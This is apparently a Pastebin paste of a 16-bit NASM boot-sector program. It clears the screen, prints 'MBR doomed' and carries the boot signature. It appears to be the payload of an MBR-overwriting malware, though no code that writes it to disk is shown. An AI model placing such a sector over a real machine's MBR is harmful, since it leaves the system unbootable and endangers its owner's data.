Advertisement
FlyFar

boot.asm

Mar 28th, 2023
1,050
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 0.46 KB | Cybersecurity | 0 0
  1. org 0x7c00
  2. bits 16    
  3. start:
  4.     call cls
  5.     mov bx, display
  6. print:
  7.     mov al, [bx]
  8.     cmp al, 0
  9.     je halt
  10.     call print_char
  11.     inc bx
  12.     jmp print
  13. print_char:
  14.     mov ah, 0x0e
  15.     int 0x10
  16.     ret
  17. halt:
  18.     ret
  19. cls:
  20.     mov ah, 0x07  
  21.     mov al, 0x00  
  22.     mov bh, 0x02
  23.     mov cx, 0x00  
  24.     mov dx, 0x184f
  25.     int 0x10      
  26.     ret            
  27. display db "MBR doomed", 13, 10, 0
  28. times 510 - ($ - $$) db 0
  29. dw 0xaa55
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement